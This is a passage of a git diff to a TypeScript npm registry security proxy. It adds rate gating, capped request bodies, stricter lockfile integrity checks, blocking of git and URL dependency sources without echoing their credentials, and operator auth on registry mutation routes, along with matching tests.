} res.status(response.status).send(response.body); - } catch (error) { sendError(res, error); } + } catch (error) { + // A 413 must reach a client that is still uploading: close after the response, and keep the + // request flowing (discarded, never buffered) so the socket is not reset under the 413. + if (error instanceof HttpError && error.status === 413) res.setHeader("Connection", "close"); + sendError(res, error); + } } - app.get("/-/v1/search", proxyCompatibility); - app.post("/-/npm/v1/security/advisories/bulk", proxyCompatibility); - app.get("/-/npm/v1/keys", proxyCompatibility); - app.get(/^\/-\/npm\/v1\/attestations\/.+$/, proxyCompatibility); - app.post("/-/v1/login", proxyCompatibility); + app.get("/-/v1/search", rateGate, proxyCompatibility); + app.post("/-/npm/v1/security/advisories/bulk", rateGate, proxyCompatibility); + app.get("/-/npm/v1/keys", rateGate, proxyCompatibility); + app.get(/^\/-\/npm\/v1\/attestations\/.+$/, rateGate, proxyCompatibility); + app.post("/-/v1/login", rateGate, proxyCompatibility); const jsonSmall = express.json({ limit: "1mb" }); app.use((req, res, next) => (req.method === "PUT" ? next() : jsonSmall(req, res, next))); @@ -303,16 +321,6 @@ export function createServer(opts: ServerOptions) { const scoreAudit = (audit: Audit, activePolicy = enterprisePolicy, activePolicyHash = policyHash): AuditReport => withClaimCorpus(score(audit, activePolicy, activePolicyHash)); - const rateLimiter = opts.rateLimiter; - const rateGate: express.RequestHandler = rateLimiter - ? (req, res, next) => { - const key = req.socket.remoteAddress ?? "unknown"; - const { allowed, retryAfterSec } = rateLimiter.check(key); - if (allowed) return next(); - res.setHeader("Retry-After", String(retryAfterSec)); - return res.status(429).json({ error: "rate limit exceeded — retry later or raise SENTINEL_RATE_LIMIT_RPM" }); - } - : (_req, _res, next) => next(); const publishRateGate = rateLimit({ windowMs: opts.publishRateLimit?.windowMs ?? 60_000, limit: opts.publishRateLimit?.limit ?? 60, @@ -334,6 +342,43 @@ export function createServer(opts: ServerOptions) { // overlapping-request window. const inFlight = new Map>(); + // Native audits recorded by an older engine are recomputed from the stored bytes (never upstream) and + // cached here, keyed by name, version and integrity. The stored publication record is never rewritten. + const reauditedNative = new Map(); + // From this audit revision on, provenance sourceRepository/ref come from the Fulcio certificate, not the predicate. + const CERT_IDENTITY_REVISION = 2; + async function currentEngineAudit(pkg: string, version: string, stored: Audit, tarball: Buffer): Promise { + if (stored.engine?.version === ENGINE_VERSION && stored.engine.revision === AUDIT_REVISION) return stored; + const key = `${pkg}\u0000${version}\u0000${stored.meta.integrity}`; + const cached = reauditedNative.get(key); + if (cached) return cached; + const attestations = privateStore.getAttestations(pkg, version); + const imported = privateStore.getVersion(pkg, version)?.actor === "imported"; + const fresh = await runAudit({ + meta: { ...stored.meta, integrity: integrityOf(tarball) }, tarball, + // Only an IMPORTED version's manifest is the upstream registry's. A publisher controls its own + // manifest, so it must never supply signatures: null, exactly as the publish-time audit used. + signatures: imported ? retainedSignatures(privateStore.getVersion(pkg, version)?.manifest) : null, + hasProvenance: attestations !== undefined, + attestations: attestations ?? null, + // A legacy import verified its bundle and then discarded it. The stored result was verified against these same + // bytes (integrity unchanged), so carry it over rather than downgrading a verified release to absent. + // Only onto the SAME bytes (a restore could pair old metadata with another tarball), and a pre-hardening + // audit's repository and ref came from the signer-written predicate, so they are dropped (workflow and + // issuer come from the certificate and stay). + ...(imported && attestations === undefined && stored.meta.integrity === integrityOf(tarball) ? { provenanceCarryOver: { + status: stored.meta.provenance, + identity: stored.meta.provenanceIdentity + ? ((stored.engine?.revision ?? 0) >= CERT_IDENTITY_REVISION ? stored.meta.provenanceIdentity : { ...stored.meta.provenanceIdentity, sourceRepository: null, ref: null }) + : null, + } } : {}), + signingKeys, trustMaterial: opts.trustMaterial, extractLimits, + advisories: [...(advisories ?? []), ...retractionCorpus.advisories], vulnerabilities, + }); + reauditedNative.set(key, fresh); + return fresh; + } + /** Audit a specific version, using the coordinate-and-integrity-keyed verdict cache. */ async function auditVersion( pkg: string, @@ -346,7 +391,7 @@ export function createServer(opts: ServerOptions) { const cachedAudit = privateStore.getAudit(pkg, version); const tarball = privateStore.getTarball(pkg, version); if (!cachedAudit || !tarball) throw new HttpError(404, `private package not found ${pkg}@${version}`); - const report = scoreAudit(cachedAudit); + const report = scoreAudit(await currentEngineAudit(pkg, version, cachedAudit, tarball)); store.put(report); // populate verdict store so /-/approvals can find the integrity return { report, tarball }; } @@ -442,7 +487,7 @@ export function createServer(opts: ServerOptions) { const rescored = scoreAudit({ schema: 3, meta: report.meta, findings: [finding, ...findings], capabilities: report.capabilities, capabilityDelta: report.capabilityDelta, - engine: { version: report.engine.version, rules: report.engine.rules, mode: report.engine.mode }, + engine: { version: report.engine.version, ...(report.engine.revision !== undefined ? { revision: report.engine.revision } : {}), rules: report.engine.rules, mode: report.engine.mode }, auditedAt: report.auditedAt, durationMs: report.durationMs, }); // A security retraction blocks by default even where its numeric weight would @@ -680,21 +725,32 @@ export function createServer(opts: ServerOptions) { if (!body || !Array.isArray(body.packages)) { return res.status(400).json({ error: "expected { packages: [{ name, version, integrity? }] }" }); } - const coords = body.packages as { name?: unknown; version?: unknown; integrity?: unknown }[]; + const coords = body.packages as { name?: unknown; version?: unknown; integrity?: unknown; nonRegistry?: unknown }[]; for (const cc of coords) { if (!cc || typeof cc.name !== "string" || typeof cc.version !== "string") { return res.status(400).json({ error: "each package needs a string name and version" }); } + if (cc.nonRegistry !== undefined && typeof cc.nonRegistry !== "string") { + return res.status(400).json({ error: "nonRegistry must be a string when present" }); + } + if (cc.integrity !== undefined && typeof cc.integrity !== "string") { + return res.status(400).json({ error: "integrity must be a string when present" }); + } } const failOnError = body.failOnError === true; // Dedupe by name@version before fanning out — auditVersion is deterministic, // so auditing a distinct coordinate once and re-expanding to per-request rows - // is behavior-neutral (ADR-0037). - const validCoords = coords as { name: string; version: string; integrity?: string }[]; + // is behavior-neutral (ADR-0037). A non-registry source never shares a key + // (or a verdict) with a registry coordinate: the audited bytes are not its bytes. + type TreeCoord = { name: string; version: string; integrity?: string; nonRegistry?: string }; + const validCoords = coords as TreeCoord[]; + // The key carries the non-registry marker and the integrity pin: each distinct pin is verified + // against the served bytes, and a git row never shares a registry row's verdict. + const keyOf = (co: TreeCoord) => `${co.name}@${co.version}\u0000${co.nonRegistry === undefined ? "" : `non-registry:${co.nonRegistry}`}\u0000${co.integrity ?? ""}`; const distinctKeys: string[] = []; - const distinctByKey = new Map(); + const distinctByKey = new Map(); for (const co of validCoords) { - const key = `${co.name}@${co.version}`; + const key = keyOf(co); if (!distinctByKey.has(key)) { distinctByKey.set(key, co); distinctKeys.push(key); } } if (distinctKeys.length > maxTreePackages) { @@ -706,21 +762,23 @@ export function createServer(opts: ServerOptions) { distinctKeys.map((k) => distinctByKey.get(k)!), 8, async (co) => { + if (co.nonRegistry !== undefined) { + // Report the source kind, never the raw spec: it can carry credentials or signed query strings. + return { + name: co.name, version: co.version, status: "block" as const, score: null, + topFinding: `non-registry-source: ${co.name}@${co.version} resolves to a ${sourceKind(co.nonRegistry)} source, which cannot be audited through the proxy`, + topFindingRuleId: null, error: null, provenance: null, integrityMismatch: false, vulnerabilities: 0, + }; + } try { const { report: audited, tarball } = await auditVersion(co.name, co.version); const quarantined = applyQuarantine(applyRetraction(audited).report); const cd = await cooldownFor(co.name, co.version); const report = applyCooldown(quarantined, cd); - const claimed = typeof co.integrity === "string" ? co.integrity : null; - // Verify same-algorithm: recompute the SERVED bytes' digest in the lockfile's - // own algorithm so a legacy sha1/sha256 pin is genuinely checked (not skipped — - // skipping would fail-open) and never false-flagged against our sha512 recompute. - // A truly-unknown algorithm can't be recomputed, so it's left unverified (skip). - const algo = claimed?.split("-", 1)[0]; - const mismatch = - claimed !== null && (algo === "sha1" || algo === "sha256" || algo === "sha512") - ? claimed !== integrityOfAlgo(tarball, algo) - : false; + // Verify every known-algorithm token against the SERVED bytes in its own algorithm, so a + // legacy sha1/sha256 pin is genuinely checked. A claim with no known algorithm cannot be + // recomputed and is a mismatch: skipping it would fail open. + const mismatch = typeof co.integrity === "string" && co.integrity.trim() !== "" && integrityClaimMismatch(tarball, co.integrity); return { name: co.name, version: co.version, status: mismatch ? "block" as const : report.verdict, @@ -742,8 +800,8 @@ export function createServer(opts: ServerOptions) { }, ); const rowByKey = new Map(); - for (const row of distinctRows) rowByKey.set(`${row.name}@${row.version}`, row); - const rows: TreePackageRow[] = validCoords.map((co) => rowByKey.get(`${co.name}@${co.version}`)!); + distinctKeys.forEach((key, i) => rowByKey.set(key, distinctRows[i]!)); + const rows: TreePackageRow[] = validCoords.map((co) => rowByKey.get(keyOf(co))!); const aggregate = aggregateTree(rows, treeGateOf(enterprisePolicy), { failOnError }); const result: TreeAuditResult = { aggregate, packages: rows, policyHash, @@ -884,6 +942,9 @@ export function createServer(opts: ServerOptions) { next(); } const publishAuth = authz.enabled ? authz.requireRole(["publisher"]) : requirePublishAuth; + // Operator routes that mutate the native registry. In open mode (no SENTINEL_AUTH_PUBKEY) + // a publish token is required instead of nothing; with no tokens configured they are closed. + const registryOperatorAuth = authz.enabled ? authz.requireRole(["operator"]) : requirePublishAuth; const registryMutationEnabled: express.RequestHandler = (_req, res, next) => { if (registryMode === "off") return res.status(503).json({ error: "registry mode is disabled", code: "registry-mode-disabled" }); next(); @@ -958,7 +1019,7 @@ export function createServer(opts: ServerOptions) { }); }); - app.post("/-/registry/import", registryMutationEnabled, publishRateGate, authz.requireRole(["operator"]), async (req, res) => { + app.post("/-/registry/import", registryMutationEnabled, publishRateGate, registryOperatorAuth, async (req, res) => { let name: string; try { name = normalizePackageName(String((req.body as { name?: unknown })?.name ?? "")); } catch (error) { return res.status(400).json({ error: (error as Error).message }); } @@ -972,7 +1033,7 @@ export function createServer(opts: ServerOptions) { if (privateStore.has(name)) return res.status(409).json({ error: "native history already exists", package: name }); try { const pm = await upstream.getPackument(name); - const staged: { version: string; manifest: Record; tarball: Buffer; audit: Audit; publishedAt?: string }[] = []; + const staged: { version: string; manifest: Record; tarball: Buffer; audit: Audit; attestations?: unknown; publishedAt?: string }[] = []; for (const version of Object.keys(pm.doc.versions).sort(cmpSemver)) { const manifest = structuredClone(pm.doc.versions[version] as unknown as Record); const tarball = await upstream.getTarball(name, version); @@ -994,7 +1055,7 @@ export function createServer(opts: ServerOptions) { if (verdictAtOrAbove(report.verdict, publishGateOf(enterprisePolicy))) { return res.status(403).json({ error: "history import blocked by Sentinel policy", package: `${name}@${version}`, report }); } - staged.push({ version, manifest, tarball, audit, ...(pm.time?.[version] ? { publishedAt: pm.time[version] } : {}) }); + staged.push({ version, manifest, tarball, audit, ...(normalized.hasProvenance && attestations ? { attestations } : {}), ...(pm.time?.[version] ? { publishedAt: pm.time[version] } : {}) }); } const importedTags = Object.entries(pm.doc["dist-tags"] ?? {}); if (importedTags.some(([, version]) => !staged.some((item) => item.version === version))) { @@ -1003,7 +1064,7 @@ export function createServer(opts: ServerOptions) { for (const item of staged) { const primaryTag = importedTags.find(([, version]) => version === item.version)?.[0]; privateStore.publish({ name, version: item.version, integrity: integrityOf(item.tarball), manifest: item.manifest, - tarball: item.tarball, audit: item.audit, actor: "imported", publishedAt: item.publishedAt, distTag: primaryTag ?? null }); + tarball: item.tarball, audit: item.audit, actor: "imported", ...(item.attestations !== undefined ? { attestations: item.attestations } : {}), publishedAt: item.publishedAt, distTag: primaryTag ?? null }); } for (const [tag, version] of importedTags) { if (privateStore.packument(name)?.["dist-tags"][tag] !== version) privateStore.setDistTag(name, tag, version); @@ -1089,7 +1150,7 @@ export function createServer(opts: ServerOptions) { } } - app.post("/-/retractions", registryMutationEnabled, retractionRateGate, authz.requireRole(["operator"]), (req, res) => { + app.post("/-/retractions", registryMutationEnabled, retractionRateGate, registryOperatorAuth, (req, res) => { const body = req.body as { name?: unknown; version?: unknown; reason?: unknown }; let name: string; try { name = normalizePackageName(String(body?.name ?? "")); } @@ -1367,6 +1428,86 @@ function escapeRe(s: string): string { return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); } +/** + * Buffer a request body up to `max` bytes. Past the cap it stops buffering and discards the rest, and + * rejects with 413 once the client has finished uploading, so the 413 is not lost to a socket reset + * while the client is still writing. The discard is bounded (extra bytes and time); past either bound + * the 413 is sent anyway and the connection closes. + */ +const DRAIN_EXTRA_BYTES = 16 * 1024 * 1024; +const DRAIN_MAX_MS = 5_000; +function readCapped(req: Request, max: number): Promise { + return new Promise((resolve, reject) => { + const chunks: Buffer[] = []; + let size = 0; + let over = false; + let done = false; + let timer: ReturnType | undefined; + const tooBig = () => { + if (done) return; + done = true; + if (timer) clearTimeout(timer); + reject(new HttpError(413, `compatibility request exceeds ${max / (1024 * 1024)} MiB`)); + }; + req.on("data", (chunk: Buffer) => { + if (done) return; // keep consuming (discarding) so the socket is not reset under the response + size += chunk.length; + if (over) { if (size > max + DRAIN_EXTRA_BYTES) tooBig(); return; } + if (size > max) { + over = true; + chunks.length = 0; + timer = setTimeout(tooBig, DRAIN_MAX_MS); + timer.unref(); + return; + } + chunks.push(chunk); + }); + req.on("end", () => { + if (done) return; + if (over) return tooBig(); + done = true; + resolve(Buffer.concat(chunks)); + }); + req.on("error", (e) => { if (!done) { done = true; reject(e); } }); + }); +} + +/** Coarse source kind for a non-registry lockfile spec: never echo the raw string (it can carry credentials). */ +function sourceKind(spec: string): "git" | "url" | "other" { + if (/(^|@)(git(\+[a-z]+)?|github|gitlab|bitbucket|gist):/i.test(spec) || /\.git(#|$)/i.test(spec)) return "git"; + if (/(^|@)(https?|ftp):\/\//i.test(spec)) return "url"; + return "other"; +} + +/** Registry signatures kept in a stored manifest's `dist.signatures` (imported versions), or null. */ +function retainedSignatures(manifest: Record | undefined): { keyid: string; sig: string }[] | null { + const list = (manifest?.dist as { signatures?: unknown } | undefined)?.signatures; + if (!Array.isArray(list)) return null; + const ok = list.filter((x): x is { keyid: string; sig: string } => typeof (x as { keyid?: unknown })?.keyid === "string" && typeof (x as { sig?: unknown })?.sig === "string"); + return ok.length ? ok : null; +} + +const SRI_ALGOS: ReadonlySet = new Set(SRI_ALGORITHMS); + +/** + * True when a lockfile-claimed SRI cannot be matched to the served bytes. Every token must carry a + * known algorithm (sha1/256/384/512, npm picks the strongest of a mixed claim) and match; any unknown + * token blocks, because skipping it would fail open. Each algorithm's digest is computed at most once. + */ +export function integrityClaimMismatch(tarball: Buffer, claimed: string): boolean { + const tokens = claimed.trim().split(/\s+/).filter(Boolean); + if (tokens.length === 0) return true; + const served = new Map(); + for (const t of tokens) { + const algo = t.split("-", 1)[0]!; + if (!SRI_ALGOS.has(algo)) return true; + let digest = served.get(algo); + if (digest === undefined) { digest = integrityOfAlgo(tarball, algo as SriAlgorithm); served.set(algo, digest); } + if (t !== digest) return true; + } + return false; +} + function sendError(res: Response, err: unknown): void { if (err instanceof HttpError) { res.status(err.status).json({ error: err.message }); diff --git a/packages/proxy/src/store.ts b/packages/proxy/src/store.ts index febaa99..124bbee 100644 --- a/packages/proxy/src/store.ts +++ b/packages/proxy/src/store.ts @@ -1,5 +1,5 @@ import { existsSync, readFileSync, writeFileSync } from "node:fs"; -import type { AuditReport } from "@git-agentic/sentinel-core"; +import { AUDIT_REVISION, ENGINE_VERSION, type AuditReport } from "@git-agentic/sentinel-core"; import type { HistoryDb } from "./history-db.js"; export interface StoredAudit { @@ -9,6 +9,12 @@ export interface StoredAudit { report: AuditReport; } +/** Persist coalescing window: the file is a rebuildable cache, so a short delay is safe. */ +const PERSIST_DEBOUNCE_MS = 500; + +/** Fixed in-memory cap: the oldest entries are evicted so a long-lived proxy cannot grow without bound. */ +export const MAX_AUDIT_ENTRIES = 20_000; + /** * Verdict cache + audit log. Keyed by `(name, version, integrity)` — a published * tarball is immutable, so a cached audit is always valid. The in-memory map is @@ -29,6 +35,8 @@ export class AuditStore { const rows = JSON.parse(readFileSync(file, "utf8")) as StoredAudit[]; for (const r of rows) { if (r.report?.schema !== 3) continue; // re-audit anything older + // Scored by another engine version or audit revision (a missing revision is stale): re-audit. + if (r.report.engine?.version !== ENGINE_VERSION || r.report.engine.revision !== AUDIT_REVISION) continue; if (this.activePolicyHash && r.report.policy?.hash !== this.activePolicyHash) continue; // scored under a different policy const integrity = r.report.meta.integrity; if (!integrity) continue; // actual integrity is a mandatory cache-key dimension @@ -105,13 +113,25 @@ export class AuditStore { private index(key: string, stored: StoredAudit): void { if (!this.byCoordinateIntegrity.has(key)) this.order.push(key); this.byCoordinateIntegrity.set(key, stored); + while (this.order.length > MAX_AUDIT_ENTRIES) this.byCoordinateIntegrity.delete(this.order.shift()!); } private cacheKey(name: string, version: string, integrity: string): string { return `${name}\u0000${version}\u0000${integrity}`; } + private persistTimer: ReturnType | undefined; + + /** Coalesce writes: one unref'd timer rewrites the file once for any burst of puts. */ private persist(): void { + if (!this.file || this.persistTimer) return; + this.persistTimer = setTimeout(() => this.flush(), PERSIST_DEBOUNCE_MS); + this.persistTimer.unref(); + } + + /** Write the file now (tests, shutdown). Cancels any pending debounced write. */ + flush(): void { + if (this.persistTimer) { clearTimeout(this.persistTimer); this.persistTimer = undefined; } if (!this.file) return; try { writeFileSync(this.file, JSON.stringify([...this.byCoordinateIntegrity.values()], null, 2)); diff --git a/packages/proxy/test/audit-tree-e2e.test.ts b/packages/proxy/test/audit-tree-e2e.test.ts index 6a29ea5..93e128d 100644 --- a/packages/proxy/test/audit-tree-e2e.test.ts +++ b/packages/proxy/test/audit-tree-e2e.test.ts @@ -1,7 +1,7 @@ import assert from "node:assert/strict"; import { execFileSync, execFile } from "node:child_process"; import { promisify } from "node:util"; -import { existsSync, mkdtempSync, writeFileSync } from "node:fs"; +import { existsSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; import { fileURLToPath } from "node:url"; @@ -10,7 +10,7 @@ const execFileAsync = promisify(execFile); import { after, before, describe, test } from "node:test"; import type { AddressInfo } from "node:net"; import type { Server } from "node:http"; -import { DEFAULT_POLICY } from "@git-agentic/sentinel-core"; +import { DEFAULT_POLICY, integrityOf } from "@git-agentic/sentinel-core"; import { createServer } from "../src/server.js"; import { AuditStore } from "../src/store.js"; import { LocalFixtureUpstream } from "../src/upstream.js"; @@ -32,7 +32,10 @@ function ensureFixtures(): void { function lockfile(pkgs: { name: string; version: string }[]): string { const packages: Record = { "": { name: "proj", version: "1.0.0" } }; for (const p of pkgs) { - packages[`node_modules/${p.name}`] = { version: p.version, resolved: `https://registry/${p.name}/-/x.tgz` }; + // A registry coordinate needs an integrity pin; use the real one when the fixture tarball exists. + const file = join(FIXTURES, ".tarballs", `${p.name}-${p.version}.tgz`); + const integrity = existsSync(file) ? integrityOf(readFileSync(file)) : "sha512-" + Buffer.alloc(64, 7).toString("base64"); + packages[`node_modules/${p.name}`] = { version: p.version, resolved: `https://registry/${p.name}/-/x.tgz`, integrity }; } return JSON.stringify({ name: "proj", version: "1.0.0", lockfileVersion: 3, packages }); } diff --git a/packages/proxy/test/audit-tree-integrity-e2e.test.ts b/packages/proxy/test/audit-tree-integrity-e2e.test.ts index 735de39..5f99c35 100644 --- a/packages/proxy/test/audit-tree-integrity-e2e.test.ts +++ b/packages/proxy/test/audit-tree-integrity-e2e.test.ts @@ -80,9 +80,11 @@ describe("audit-tree integrity cross-check + failOnError (e2e)", () => { assert.equal(row.status, "block"); }); - test("an unknown-algorithm pin cannot be recomputed and is left unverified (skip, not a false block)", async () => { + test("an unknown-algorithm pin cannot be recomputed, so it is a mismatch and blocks (never fails open)", async () => { const r = await tree(base, [{ name: "leftpad-lite", version: "1.0.0", integrity: "md5-abcdef1234567890abcdef1234567890" }]); - assert.equal(r.packages.find((p) => p.name === "leftpad-lite")!.integrityMismatch, false); + const row = r.packages.find((p) => p.name === "leftpad-lite")!; + assert.equal(row.integrityMismatch, true); + assert.equal(row.status, "block"); }); test("audit-tree response carries the policyHash for attestation binding", async () => { diff --git a/packages/proxy/test/compatibility-e2e.test.ts b/packages/proxy/test/compatibility-e2e.test.ts index f619be0..e0554a2 100644 --- a/packages/proxy/test/compatibility-e2e.test.ts +++ b/packages/proxy/test/compatibility-e2e.test.ts @@ -194,7 +194,8 @@ describe("Phase 33 npm compatibility surface", () => { } assert.deepEqual(seen.map((call) => call.path), routes.map((route) => route.path)); for (const [index, call] of seen.entries()) { - assert.equal(call.headers.authorization, "Bearer upstream-token"); + // F17: the client's token is for Sentinel, never the upstream, on every compat route (login included). + assert.equal(call.headers.authorization, undefined); assert.equal(call.headers["if-none-match"], "old-etag"); assert.equal(call.headers["x-probe"], "preserve"); assert.equal(call.headers["content-encoding"], routes[index]!.encoding); @@ -227,7 +228,7 @@ describe("Phase 33 npm compatibility surface", () => { enterprisePolicy: { ...DEFAULT_POLICY, privateNamespaces: [] }, claimCorpus, upstream: legacyUpstream, }); assert.equal((await fetch(`${base}/leftpad-lite`)).status, 404); - const imported = await fetch(`${base}/-/registry/import`, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ name: "leftpad-lite" }) }); + const imported = await fetch(`${base}/-/registry/import`, { method: "POST", headers: { "content-type": "application/json", authorization: "Bearer publish-token" }, body: JSON.stringify({ name: "leftpad-lite" }) }); assert.equal(imported.status, 201, await imported.text()); const after = await (await fetch(`${base}/leftpad-lite`)).json(); assert.equal(after.versions["1.0.1"].dist.integrity, expectedIntegrity); diff --git a/packages/proxy/test/proxy.test.ts b/packages/proxy/test/proxy.test.ts index 6cbb75d..18d2db3 100644 --- a/packages/proxy/test/proxy.test.ts +++ b/packages/proxy/test/proxy.test.ts @@ -1,12 +1,12 @@ import assert from "node:assert/strict"; import { execFileSync } from "node:child_process"; -import { existsSync } from "node:fs"; +import { existsSync, readFileSync } from "node:fs"; import { dirname, join } from "node:path"; import { fileURLToPath } from "node:url"; import { after, before, describe, test } from "node:test"; import type { AddressInfo } from "node:net"; import type { Server } from "node:http"; -import { DEFAULT_POLICY, type EnterprisePolicy } from "@git-agentic/sentinel-core"; +import { DEFAULT_POLICY, type EnterprisePolicy, type NpmSigningKey } from "@git-agentic/sentinel-core"; import { createServer } from "../src/server.js"; import { AuditStore } from "../src/store.js"; import { LocalFixtureUpstream } from "../src/upstream.js"; @@ -41,6 +41,8 @@ describe("registry proxy (block policy, local fixtures)", () => { approvals, enterprisePolicy: DEFAULT_POLICY, policy: "block", + // The fixtures are signed with test keys; an untrusted keyid now scores like unsigned. + signingKeys: JSON.parse(readFileSync(join(FIXTURES, "signing-keys.json"), "utf8")) as NpmSigningKey[], privateStore: new PrivatePackageStore(), violations: new ViolationStore(), approvalRequests: new ApprovalRequestStore(), diff --git a/packages/proxy/test/retraction-e2e.test.ts b/packages/proxy/test/retraction-e2e.test.ts index c5a793d..cb210e3 100644 --- a/packages/proxy/test/retraction-e2e.test.ts +++ b/packages/proxy/test/retraction-e2e.test.ts @@ -3,7 +3,7 @@ import { Buffer } from "node:buffer"; import type { Server } from "node:http"; import type { AddressInfo } from "node:net"; import { afterEach, describe, test } from "node:test"; -import { DEFAULT_POLICY, generateKeypair, integrityOf, retractionCorpusHashOfBytes, signToken, type Audit, type EnterprisePolicy, type RetractionCorpus } from "@git-agentic/sentinel-core"; +import { AUDIT_REVISION, DEFAULT_POLICY, ENGINE_VERSION, generateKeypair, integrityOf, retractionCorpusHashOfBytes, signToken, type Audit, type EnterprisePolicy, type RetractionCorpus } from "@git-agentic/sentinel-core"; import { createServer } from "../src/server.js"; import { AuditStore } from "../src/store.js"; import { ApprovalStore } from "../src/approvals.js"; @@ -36,7 +36,7 @@ function audit(name: string, version: string, tarball: Buffer): Audit { hasInstallScripts: false, signature: "unsigned", provenance: "absent", unpackedSize: tarball.length, fileCount: 1, }, findings: [], capabilities: [], capabilityDelta: null, - engine: { version: "test", rules: [], mode: "full" }, auditedAt: "2026-07-13T00:00:00.000Z", durationMs: 1, + engine: { version: ENGINE_VERSION, revision: AUDIT_REVISION, rules: [], mode: "full" }, auditedAt: "2026-07-13T00:00:00.000Z", durationMs: 1, }; } @@ -60,12 +60,13 @@ async function boot(ageHours: number, downloads: number, enterprisePolicy = poli authPublicKey, history, retractionRateLimit, + publishTokens: ["publish-token"], }); const server = await new Promise((resolve) => { const value = app.listen(0, () => resolve(value)); }); servers.push(server); const base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; const retract = (reason: "security" | "withdrawn" | "broken" | "legal" = "security", authorization?: string) => fetch(`${base}/-/retractions`, { - method: "POST", headers: { "content-type": "application/json", ...(authorization ? { authorization } : {}) }, + method: "POST", headers: { "content-type": "application/json", ...(authorization ?? (authPublicKey ? undefined : "Bearer publish-token") ? { authorization: authorization ?? "Bearer publish-token" } : {}) }, body: JSON.stringify({ name: "@acme/widget", version: "2.0.0", reason }), }); return { base, privateStore, store, retract }; diff --git a/packages/proxy/test/security-audit-tree-nonregistry.test.ts b/packages/proxy/test/security-audit-tree-nonregistry.test.ts new file mode 100644 index 0000000..c24e59b --- /dev/null +++ b/packages/proxy/test/security-audit-tree-nonregistry.test.ts @@ -0,0 +1,202 @@ +import assert from "node:assert/strict"; +import { execFileSync } from "node:child_process"; +import { existsSync, readFileSync } from "node:fs"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { after, before, describe, test } from "node:test"; +import type { AddressInfo } from "node:net"; +import type { Server } from "node:http"; +import { DEFAULT_POLICY, integrityOf, integrityOfAlgo, parseAnyLockfile, parseLockfile, type TreeAuditResult } from "@git-agentic/sentinel-core"; +import { createServer, integrityClaimMismatch } from "../src/server.js"; +import { AuditStore } from "../src/store.js"; +import { LocalFixtureUpstream, type Upstream } from "../src/upstream.js"; +import { ApprovalStore } from "../src/approvals.js"; +import { PrivatePackageStore } from "../src/private-store.js"; +import { ViolationStore } from "../src/violations.js"; +import { ApprovalRequestStore } from "../src/approval-requests.js"; + +const REPO_ROOT = join(dirname(fileURLToPath(import.meta.url)), "..", "..", ".."); +const FIXTURES = join(REPO_ROOT, "fixtures"); + +describe("F19: audit-tree blocks non-registry coordinates without fetching anything", () => { + let server: Server; + let base: string; + const fetched: string[] = []; + + before(async () => { + if (!existsSync(join(FIXTURES, "registry.json")) || !existsSync(join(FIXTURES, ".tarballs"))) { + execFileSync("npx", ["tsx", join(REPO_ROOT, "scripts", "make-fixtures.ts")], { cwd: REPO_ROOT, stdio: "ignore" }); + } + const fixture = new LocalFixtureUpstream(FIXTURES); + const spy: Upstream = { + name: "spy", + getPackument: (name) => { fetched.push(`packument:${name}`); return fixture.getPackument(name); }, + getTarball: (name, version) => { fetched.push(`tarball:${name}@${version}`); return fixture.getTarball(name, version); }, + getAttestations: (name, version) => fixture.getAttestations(name, version), + }; + const app = createServer({ + upstream: spy, store: new AuditStore(), approvals: new ApprovalStore(), enterprisePolicy: DEFAULT_POLICY, + privateStore: new PrivatePackageStore(), violations: new ViolationStore(), approvalRequests: new ApprovalRequestStore(), + }); + server = await new Promise((resolve) => { const s = app.listen(0, () => resolve(s)); }); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }); + after(() => server.close()); + + const post = async (packages: unknown[]) => { + const res = await fetch(`${base}/-/audit-tree`, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ packages }) }); + assert.equal(res.status, 200); + return (await res.json()) as TreeAuditResult; + }; + + test("a git-resolved coordinate becomes a block row, gates the tree, and triggers no fetch", async () => { + fetched.length = 0; + const spec = "git+ssh://git@github.com/evil/leftpad-lite.git#abc123"; + const out = await post([{ name: "leftpad-lite", version: "1.0.0", nonRegistry: spec }]); + assert.equal(out.packages.length, 1); + assert.equal(out.packages[0]!.status, "block"); + assert.match(out.packages[0]!.topFinding ?? "", /cannot be audited through the proxy/); + assert.match(out.packages[0]!.topFinding ?? "", /git source/); + assert.equal(out.aggregate.gated, true); + assert.deepEqual(fetched, []); + }); + + test("the block row never echoes the raw resolution (it can carry credentials or signed query strings)", async () => { + const secrets = [ + "git+https://user:s3cr3t@github.com/evil/x.git#abc", + "https://cdn.example/x.tgz?X-Amz-Signature=deadbeef&token=hunter2", + "somethingelse:opaque-token-abc", + ]; + const kinds = ["git", "url", "other"]; + for (const [i, spec] of secrets.entries()) { + const out = await post([{ name: "leftpad-lite", version: "1.0.0", nonRegistry: spec }]); + const text = JSON.stringify(out); + assert.ok(!/s3cr3t|deadbeef|hunter2|opaque-token/.test(text), `leaked: ${text}`); + assert.match(out.packages[0]!.topFinding ?? "", new RegExp(`${kinds[i]} source`)); + } + }); + + test("a clean registry row for the same name@version is not hidden by, and does not hide, the git row", async () => { + const out = await post([ + { name: "leftpad-lite", version: "1.0.0" }, + { name: "leftpad-lite", version: "1.0.0", nonRegistry: "github:evil/leftpad-lite#abc" }, + ]); + assert.equal(out.packages.length, 2); + assert.notEqual(out.packages[0]!.status, "block", "the registry twin keeps its own verdict"); + assert.equal(out.packages[1]!.status, "block"); + assert.equal(out.aggregate.gated, true); + }); + + test("a non-string nonRegistry is a 400, not a silent registry audit", async () => { + const res = await fetch(`${base}/-/audit-tree`, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ packages: [{ name: "leftpad-lite", version: "1.0.0", nonRegistry: true }] }) }); + assert.equal(res.status, 400); + }); + + const REAL = integrityOf(readFileSync(join(FIXTURES, ".tarballs", "leftpad-lite-1.0.0.tgz"))); + + test("integrity is part of the dedupe key: each distinct pin is verified against the served bytes", async () => { + const out = await post([ + { name: "leftpad-lite", version: "1.0.0", integrity: REAL }, + { name: "leftpad-lite", version: "1.0.0", integrity: "sha512-" + Buffer.alloc(64, 1).toString("base64") }, + ]); + assert.equal(out.packages[0]!.integrityMismatch, false); + assert.equal(out.packages[1]!.integrityMismatch, true); + assert.equal(out.packages[1]!.status, "block"); + assert.equal(out.aggregate.gated, true); + }); + + test("an unknown integrity algorithm is a mismatch, not silently 